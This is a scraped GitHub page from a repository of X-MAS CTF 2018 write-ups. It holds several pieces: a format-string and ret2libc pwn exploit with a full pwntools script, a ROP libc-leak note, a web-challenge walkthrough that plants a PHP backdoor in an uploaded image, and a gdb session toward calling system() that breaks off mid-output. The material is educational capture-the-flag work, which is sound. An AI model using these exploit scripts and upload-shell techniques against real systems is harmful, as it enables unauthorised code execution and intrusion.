aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/serega6531/XmasCtf2018Writeups/refs" cache-key="v0:1545507422.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VyZWdhNjUzMS9YbWFzQ3RmMjAxOFdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>Game<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>XmasCtf2018Writeups</span></span></span><span>/</span>Game<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/serega6531/XmasCtf2018Writeups/tree-commit/c4e5b8c72c4e35e9b6cbbe2d163b9f94db6fd0ac/Game" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/serega6531/XmasCtf2018Writeups/file-list/master/Game"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Main.java</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# __XMAS-CTF 2018__ ## _Pinkie's Gift_ ## Information**Category:** | **Writeup Author**--- | ---Pwn | Huascar Tejeda <<[email protected]>> **Description:** > In this challenge, Santa Pie will give you some unusual gifts. See if you can use this wisdom to get the flag before Christmas.>> [pinkiegift.dms](pinkiegift.dms) >> Author: PinkiePie1189 **Flag:** > X-MAS{F0rm47_57r1ng_15_7h3_b3st_pr353n7_f0r_l1773_buff3r_0v3rfl0w} ## Solution After doing an initial static analysis to have a better understanding of what we are going to face. We identified a few really interesting things: ![](/images/XMAS-CTF-2018/PinkiesGift/01.png) 1. Santa gave us a very generous gift. The addresses to the binsh variable and system! ```0x080485a7 <+97>: mov eax,DWORD PTR [ebx-0x10]0x080485ad <+103>: push eax0x080485ae <+104>: mov eax,0x80499400x080485b4 <+110>: push eax0x080485b5 <+111>: lea eax,[ebx-0x1254]0x080485bb <+117>: push eax0x080485bc <+118>: call 0x80483c0 <printf@plt>``` **`printf` arguments:**```arg[0]: 0x8048690 ; "Here are some gifts from Santa: %p %p\n"arg[1]: 0x8049940 ; binsh variablearg[2]: 0xf7e3de80 ; <system> [f2tc@htejeda pinkiegift]$ readelf -s ./pinkiegift.dms | grep 8049940 54: 08049940 100 OBJECT GLOBAL DEFAULT 25 binsh``` 2. The printf(buf) after fgets(buf, 128, stdin) is vulnerable to format string 3. The use of the vulnerable function `gets(buf)` --- #### Security properties of the executable:```[f2tc@htejeda pinkiegift]$ checksec pinkiegift.dms [*] '/home/f2tc/xmas-ctf/pwn/pinkiegift/pinkiegift.dms' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)``` Since NX is the only protection and Santa already gave us the addresses to system and binsh, our strategy is the following: 1. Take advantage of the Format String vulneraiblity to alter the value of binsh variable with "/bin/sh"2. Overflow gets(buf) and use ret2libc: `system(binsh)` #### Format String```[f2tc@htejeda pinkiegift]$ ./pinkiegift.dms Here are some gifts from Santa: 0x8049940 0xf75e6e80AAAA%08xAAAA41414141```_**Important:** buf is the 1st argument, no previous characters are printed_ #### Buffer Overflow ```0x080485f0 <+170>: lea eax,[ebp-0x84]0x080485f6 <+176>: push eax0x080485f7 <+177>: call 0x80483d0 <gets@plt>``` **Buffer** | **SFP** | **EIP**--- | --- | ---`"A" * 132` | `"A"*4` | BBBB ```gdb-peda$ r < <(python -c 'print "FMTSTR\n"+ "A"*136 + "BBBB"')[----------------------------------registers-----------------------------------]EAX: 0x0 EBX: 0x41414141 ('AAAA')ECX: 0xfbad208b EDX: 0xf7fc78a4 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x41414141 ('AAAA')ESP: 0xffffd480 --> 0x0 EIP: 0x42424242 ('BBBB')EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x42424242[------------------------------------stack-------------------------------------]0000| 0xffffd480 --> 0x0 0004| 0xffffd484 --> 0xffffd514 --> 0xffffd643 ("/home/f2tc/xmas-ctf/pwn/pinkiegift/./pinkiegift.dms")0008| 0xffffd488 --> 0xffffd51c --> 0xffffd66f ("XDG_SESSION_ID=2163")0012| 0xffffd48c --> 0xf7fd86c0 --> 0x80482de ("GLIBC_2.0")0016| 0xffffd490 --> 0x1 0020| 0xffffd494 --> 0x1 0024| 0xffffd498 --> 0x0 0028| 0xffffd49c --> 0x8049900 --> 0xf7e190c0 (<__libc_start_main>: push ebp)[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x42424242 in ?? ()``` ## Exploit ```pythonimport sysfrom pwn import *from libformatstr import FormatStr p = process('./pinkiegift.dms')gift = p.recv().split(' ')binsh = int(gift[6], 16)system = int(gift[7], 16) print "Stage 1"fmt = FormatStr()fmt[binsh] = "/bin/sh"p.sendline(fmt.payload(1, 0))stage1 = p.recv() print "Stage 2"stage2 = "A"*136stage2 += p32(system)stage2 += "PADD"stage2 += p32(binsh) p.sendline(stage2)p.recv() p.interactive()``` ```[f2tc@htejeda pinkiegift]$ ./exploit.py $ cat flagX-MAS{F0rm47_57r1ng_15_7h3_b3st_pr353n7_f0r_l1773_buff3r_0v3rfl0w}```
This is the PoC of the exploit: 1) buffer overflow and leak libc address with a ropchain2) jump to main again with a gadget3) exploit the program again with the overflow4) jump to a magic gadget in the libc Actually different connections faced different libc addresses, so i guessed that the server had a set of libc and i looked for a known libc. In one execution i got this libc6_2.19-0ubuntu6.14_amd64.so version of the libc, so i adjusted the exploit to use a magic gadget of this libc and i run the exploit 5 or 6 times (until the libc i leaked was used again). https://github.com/r00ta/myWriteUps/tree/master/X-MASCTF2018/random
# GnomeArena: Rock Paper Scissors (Web) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") This challenge is a rock paper scissor challenge. ![alt text](2.png "Chall") The game did not seem exploitable. But at the right corner we see a settings page. ![alt text](3.png "Chall") At the settings page we can upload a new profile picture. We can also set a new name for our account. ![alt text](4.png "Chall") Here is our goal:* Upload a file containing PHP code* Find the directory where the files are stored.* Figure out a way to run the uploaded file as PHP code. Questions I always ask myself when dealing with these kind of challenges:* What kind of file extensions does the server allow?* Can I find the uploaded file?* Can I spoof the MIME header?* etc ... TL;DR answer to these questions. I can only upload image files. All other files seem to be blocked. I can control the name + extension of the uploaded file with the rename "name" functionality. ### Exploiting the file upload * Create a small image. I used a 1x1 black pixel as image.* Append PHP backdoor shell at the end of the image. I used VIM for this. ``` ```* Upload image to website as any filename.* Rename `name` to shell.php* Right click image and `Copy Image Source`* Visit that address and we should have shell. ![alt text](6.png "Chall") And now get the flag with `cat` command. ![alt text](7.png "Chall")
# __XMAS-CTF 2018__ ## _Greetings from Santa_ ## Information**Category:** | **Writeup Author**--- | ---Pwn | Huascar Tejeda <<[email protected]>> **Description:** > [chall](chall) >> Author: littlewho **Flag:** > X-MAS{6r3371n65_fr0m_5y573m_700} ## Solution This is an interesting challenge. Here's what I learned from the initial analysis: ![](/images/XMAS-CTF-2018/GreetingsFromSanta/01.png) - What is this `call 0x8048760` after printf("Greetings from Santa! Wanna talk? ")? ```gdb-peda$ pdisas 0x8048760Dump of assembler code from 0x8048760 to 0x8048780:: Dump of assembler code from 0x8048760 to 0x8048780: 0x08048760: push ebp 0x08048761: mov ebp,esp 0x08048763: sub esp,0x10 0x08048766: mov eax,0x8048898 ; humm... 0x0804876b: mov DWORD PTR [ebp-0x4],eax 0x0804876e: nop 0x0804876f: leave 0x08048770: ret 0x08048771: nop 0x08048772: push ebp ; o_O - No references to here 0x08048773: mov ebp,esp 0x08048775: sub esp,0x8 0x08048778: sub esp,0xc 0x0804877b: push DWORD PTR [ebp+0xc] 0x0804877e: call 0x8048500 <system@plt> ``` - 0x8048898 looks like a string: ```gdb-peda$ x/10x 0x80488980x8048898: "r\207\004\b؞\004\b\244\210\004\b7Greeter" gdb-peda$ x/20x 0x80488980x8048898: 0x72 0x87 0x04 0x08 0xd8 0x9e 0x04 0x080x80488a0: 0xa4 0x88 0x04 0x08 0x37 0x47 0x72 0x650x80488a8: 0x65 0x74 0x65 0x72 0x72 0x87 0x04 0x08 = 0x08048772 :-O``` - In order to reach the second function 0x8048703 first char must be equal to 0x804886b="y" ![](/images/XMAS-CTF-2018/GreetingsFromSanta/02.png) - Notice the `call eax` after `fgets(buf, 100, stdin); buf[strlen(buf) - 1] = 0` #### Properties of the executable:```[f2tc@htejeda GreetingsFromSanta]$ checksec chall[*] '/home/f2tc/xmas-ctf/pwn/GreetingsFromSanta/chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [f2tc@htejeda GreetingsFromSanta]$ objdump --syms chall chall: file format elf32-i386 SYMBOL TABLE:no symbols``` #### Let's do some tests with everything we've learned so far - I'll use pattern_create to simplify searching for our offset. _Remember that 'y' must be the first character._ ```gdb-peda$ pattern_create 100'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ rStarting program: /home/f2tc/xmas-ctf/pwn/GreetingsFromSanta/./chall Greetings from Santa! Wanna talk? yAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL [----------------------------------registers-----------------------------------]EAX: 0x64414148 ('HAAd')EBX: 0xf7e7d000 --> 0x1c6da8 ECX: 0x2ccc EDX: 0x1 ESI: 0x0 EDI: 0x0 EBP: 0xffffd3e8 --> 0xffffd458 ("eAA4AAJAAfAA5AAKAAgAA6AAL\n")ESP: 0xffffd370 --> 0xf7e7dc40 --> 0xfbad208b EIP: 0x804874c (mov eax,DWORD PTR [eax])EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x8048742: mov BYTE PTR [ebp+eax*1-0x6c],0x0 0x8048747: mov eax,DWORD PTR [ebp+0x8] 0x804874a: mov eax,DWORD PTR [eax]=> 0x804874c: mov eax,DWORD PTR [eax] 0x804874e: sub esp,0x8 0x8048751: lea edx,[ebp-0x6c] 0x8048754: push edx 0x8048755: push DWORD PTR [ebp+0x8][------------------------------------stack-------------------------------------]0000| 0xffffd370 --> 0xf7e7dc40 --> 0xfbad208b 0004| 0xffffd374 --> 0xffffd40c ("yAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")0008| 0xffffd378 --> 0x0 0012| 0xffffd37c ("f2tc")0016| 0xffffd380 --> 0xf7e70000 --> 0xb44040e 0020| 0xffffd384 --> 0xffffd40c ("yAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")0024| 0xffffd388 --> 0x1ff 0028| 0xffffd38c --> 0xa ('\n')[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x0804874c in ?? ()``` Sice in the second function there is a `call eax`, I will focus on controlling EAX. ```EAX: 0x64414148 ('HAAd') gdb-peda$ pattern_offset 0x644141481681998152 found at offset: 63``` This is a stripped binary, so let's disassemble the text segment and set a breakpoint before printf("Greetings from Santa! Wanna talk? ")```gdb-peda$ info fileSymbols from "/home/f2tc/xmas-ctf/pwn/GreetingsFromSanta/chall".Local exec file:`/home/f2tc/xmas-ctf/pwn/GreetingsFromSanta/chall', file type elf32-i386.Entry point: 0x80485200x08048154 - 0x08048167 is .interp0x08048168 - 0x08048188 is .note.ABI-tag0x08048188 - 0x080481ac is .note.gnu.build-id0x080481ac - 0x080481e0 is .gnu.hash0x080481e0 - 0x080482c0 is .dynsym0x080482c0 - 0x0804839a is .dynstr0x0804839a - 0x080483b6 is .gnu.version0x080483b8 - 0x080483f8 is .gnu.version_r0x080483f8 - 0x08048420 is .rel.dyn0x08048420 - 0x08048460 is .rel.plt0x08048460 - 0x08048483 is .init0x08048490 - 0x08048520 is .plt0x08048520 - 0x08048811 is .text0x08048814 - 0x08048828 is .fini0x08048828 - 0x080488ca is .rodata0x080488cc - 0x08048920 is .eh_frame_hdr0x08048920 - 0x08048a80 is .eh_frame0x08049ec8 - 0x08049ecc is .init_array0x08049ecc - 0x08049ed0 is .fini_array0x08049ed0 - 0x08049efc is .data.rel.ro0x08049efc - 0x08049ffc is .dynamic0x08049ffc - 0x0804a000 is .got0x0804a000 - 0x0804a02c is .got.plt0x0804a02c - 0x0804a030 is .data0x0804a040 - 0x0804a070 is .bss gdb-peda$ pdisas 0x08048520,0x08048811...0x0804869b: push 0x80488480x080486a0: call 0x80484f0 <printf@plt>... gdb-peda$ b *0x0804869bgdb-peda$ r < <(python -c 'print "y" + "A"*63 +"\n" + "f2tc"')``` Pay careful attention to what happens after `printf("What is your name? ")` `fgets(buf, 100, stdin);` and `buf[strlen(buf) - 1] = 0`: ``` 0x804874a: mov eax,DWORD PTR [eax]=> 0x804874c: mov eax,DWORD PTR [eax]``` It copies (twice) to eax the contents of memory currently pointed to by eax. `call eax` right after this. Remember the strange `call 0x8048760` we saw at the beginning? Inside of it it has a string 0x8048898 that will help us defeat this challenge. - If we overwrite EAX with 0x8048898, after the two dereferences we will have:`EAX: 0xffffd44c --> 0x8048898 --> 0x8048772 (push ebp)`- The string of our second question is pushed and system gets called: ```=> 0x804877e: call 0x8048500 <system@plt>Guessed 